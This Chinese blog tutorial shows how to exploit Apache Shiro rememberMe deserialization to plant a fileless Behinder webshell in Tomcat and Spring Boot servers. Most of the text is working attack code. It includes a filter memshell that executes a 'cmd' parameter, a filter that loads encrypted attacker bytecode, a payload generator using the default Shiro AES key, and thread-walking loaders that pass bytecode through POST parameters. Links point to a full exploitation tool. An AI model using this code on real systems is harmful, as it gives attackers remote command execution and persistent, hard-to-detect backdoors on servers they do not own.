利用shiro反序列化注入冰蝎内存马
利用shiro反序列化注入冰蝎内存马
文章首发先知社区：https://xz.aliyun.com/t/10696
1）tomcat filter内存马
先来看一个普通的jsp写入tomcat filter内存马的代码：
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "evil";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}
%>对以上的tomcat filter型内存马进行逻辑拆分，有四个主要部分，依次为：
- 拿到tomcat的
StandardContext标准上下文对象
- 利用
standardContext标准上下文对象，反射拿到filterConfigs
- 恶意filter过滤器的逻辑代码
- 把恶意filter经过一层层封装，存入
filterConfigs中的逻辑
通过访问以上的jsp代码，从而触发这四个主要逻辑就能动态注入一个name为evil，过滤路径URLPattern为/*的filter对象了，接下来只要访问/*就能触发doFilter中的恶意代码。
2）利用shiro反序列化注入内存马
把以上提到的filter内存马逻辑写入恶意类的static方法中，再利用TemplatesImpl来动态加载字节码触发其逻辑，从而注入恶意filter
构造BehinderFilter.java
BehinderFilter因为其被TemplatesImpl类来加载，所以需要继承AbstractTranslet 类
在构造函数中放入tomcat filter内存马的代码后，会缺少一个request对象，在这里request只是用来拿standardContext的，而我们可以通过其他方式拿到standardContext
在文章：Java内存马：一种Tomcat全版本获取StandardContext的新方法中提到，由于Tomcat处理请求的线程中，存在ContextLoader对象，而这个对象又保存了StandardContext对象，从而可以通过以下代码，从线程中拿到StandardContext
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();再看下图41行与78行的逻辑，实例化了一个内部类后set进filterDef中
其实在这里可以直接把整个恶意类BehinderFilter当作一个filter，使其实现Filter接口
public class BehinderFilter extends AbstractTranslet implements Filter再把Filter逻辑写入此类的doFilter方法中，最终得到如下代码
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}shiro反序列化注入内存马
这里采用P牛给出专门针对shiro无CC依赖的CB1链来进行注入内存马，项目代码地址：https://github.com/phith0n/JavaThings
需要在P神给出的项目环境中添加tomcat核心包解决构造的恶意类报错：
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.50</version>
</dependency>新建一个类，使用javassist读取一个类文件的class，再利用shiro自带的类，对其进行base64+aes加密
public class Client_memshell {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName());
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}把生成的字符放入rememberMe中即可成功注入内存马
测试弹出计算器
在上面实现了shiro注入内存马后，想着是否能注入冰蝎呢。首先要了解下冰蝎jsp马的逻辑
1）冰蝎逻辑
查看Behinder_v3.0_Beta_9中的shell.jsp代码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
}
%>- 冰蝎自定义了一个可以解析class字节数组的类加载器U，逻辑为，使用g方法调用
super.defineClass，可以将byte[]直接转换为Class对象
判断为post请求后，读取请求体中的数据，拿到进行Base64+AES解码后的字节码数据。
![]()
调用自定义类加载器U拿到class后，进行
newInstance实例化，调用其恶意对象的equals方法，并且传入pageContext
2）改造冰蝎马
尝试在BehinderFilter.java的filter中，放入冰蝎的核心逻辑代码
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
接下来就是怎么解决代码中出现的几个红色的问题
request和session对象
request对象可以通过其doFilter方法参数中传递的ServletRequest获得，而session可以通过request.getSession()获得
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();pageContext对象
pageContext对象为jsp九大内置对象，在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道，在冰蝎的代码中，服务端需要从pageContext对象中获取出request/response/session。
而在冰蝎3.0 bata7之后不再依赖pageContext对象，只需给在equal函数中传递的object对象中，有request/response/session对象即可，所以此时我们可以把pageContext对象换成一个Map，手动添加这三个对象即可
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
然后当我们把制作好的BehinderFilter.java，注入CB1链，通过rememberMe发送给shiro后，就会发现冰蝎并连接不上。此错误在文章冰蝎改造之不改动客户端=>内存马中给出了思路，需要自己通过反射调用类加载器。直接给出代码
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);最终的BehinderFilter.java代码变成如下
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}首先在shiro+tomcat环境下测试成功
然而在springboot+shiro环境中却测试失败了：
3）排错
为了查出这个错误，我选择直接把内存马放入springboot中，自己进行filter注册，debug出其出错点。具体操作如下
启动springboot后可以看到BehinderFilter.java:41行找不到filterConfigs报错
为了进一步查看出错点，在此下好断点步入getDeclaredField
可以看到在2068行进行了filterConfigs的查找
而在此Fileld中确实没有filterConfigs
回到filter代码中，其实，在39行可以看到进行了一次转型，而有可能在springboot中的standardContext此filterConfigs值是继承自父类
修改41行中的代码为如下，从父类中拿filterConfigs
Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
运行后不报错成功通过逻辑
接下来就是对内存马进行修改了，两个环境，拿filterConfigs的逻辑代码却不同，分别是standardContext本身和其父类。如果要兼容这两个环境的话，可以使用try-catch分别写入两行不同的代码拿到不同得class对象
Class<? extends StandardContext> aClass = null;
try{
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
}catch (Exception e){
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}最终修改如下图
最终内存马变为：
package com.govuln.shiroattack.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Class<? extends StandardContext> aClass = null;
try{
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
}catch (Exception e){
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}测试springboot+shiro环境成功
shiro+tomcat环境成功：
为了方便测试，在以上的环境测试中，我进行了maxHttpHeaderSize参数的修改。
如果我们换成默认值的话，其实会爆出一个400的错误，如下
原因在于tomcat的maxHttpHeaderSize默认值只有 4096 个字节(4k)，加密编码后的字节码数据远大于这个4096个字节，所以会爆出400的错误。目前找到三种解决方案并给出对应的文章链接
1）修改maxHttpHeaderSize
2）将class bytes使用gzip+base64压缩编码
tomcat结合shiro无文件webshell的技术研究以及检测方法
3）从POST请求体中发送字节码数据
这里我推荐使用第三种方案，就是在post请求体中发送加密编码后的BehinderFilter.java
1）从POST请求体中发送字节码数据
根据师傅的方案，不借助于反序列化恶意filter来注入，而是反序列化一个MyClassLoader，其逻辑为
静态代码块中获取了Spring Boot上下文里的request，response和session，然后获取classData参数并通过反射调用defineClass动态加载此类，实例化后调用其中的equals方法传入request，response和session三个对象
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据
再使用如下命令得到class文件BehinderFilter.class的base64
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'rememberMe中放入通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据，classData传输BehinderFilter.class的base64，要记得进行一次url编码
springboot+shiro环境下测试成功：
而在shiro+tomcat环境下则会测试失败，原因在于MyClassLoader.java代码中，获取request对象是从Spring Boot上下文中获取，而tomcat+shiro环境中并没有spring boot上下文，导致request对象获取失败
2）寻找request对象
怎么在tomcat中寻找到request对象呢，通过xray 技术博客中的Shiro RememberMe 漏洞检测的探索之路这篇文章给了我们思路，通过遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象。其中可以使用c0y1 师傅写的 java-object-searcher ，一款内存对象搜索工具来辅助我们寻找。
下载java-object-searcher，把所有文件复制进tomcat的web项目中
编写一个servlet，在其doGet方法中写入对应的查找逻辑
helloController.java
import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
public class helloController extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.println("hello servlet!");
//设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
//设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象
List<Keyword> keys = new ArrayList<>();
Keyword.Builder builder = new Keyword.Builder();
builder.setField_type("nnn");
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\");
searcher.searchObject();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}当然在web.xml也要配好映射
<!--注册servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>controller.helloController</servlet-class>
</servlet>
<!--Servlet映射的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>运行后访问url地址，即可触发查找，查找结果文件保存在D盘根目录下
打开查找结果文件，发现其中的一个结果中有RequestInfo
debug模式下查看这个对象，确实存在request对象
但其实会发现，拿到的这个Request对象类型为org.apache.coyote.Request，并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象，通过此对象就能调用getParameter方法获取到请求体里面的数据了，具体调试过程太长，这里就不详述了。
根据以上的寻找，可以写出修改后的MyClassLoader.java对象，为了区分之前的类，我重新命名为了ClassDataLoader.java，以下是此类的代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ClassDataLoader extends AbstractTranslet{
public ClassDataLoader() throws Exception {
Object o;
String s;
String classData = null;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance();
done = true;
if (done) {
break;
}
}
}
}
}
public Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}最后测试就是生成用shiro中AES+base64加密后的ClassDataLoader.java，放入rememberMe中
再生成BehinderFilter.class的base64放入classData参数中
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'发送后使用冰蝎即可连接成功
感谢P神，木头神的实验环境，帮了我很大的忙，本文中的涉及的实验环境和代码我都放在了github中，需要可以自行下载
https://github.com/yyhuni/shiroMemshell
在此篇文章原理的基础上，我随便写了一款shiro的综合利用工具
https://github.com/yyhuni/shiroATK
参考：
https://www.cnblogs.com/bitterz/p/14820898.html
tomcat结合shiro无文件webshell的技术研究以及检测方法
https://github.com/c0ny1/java-object-searcher
https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/
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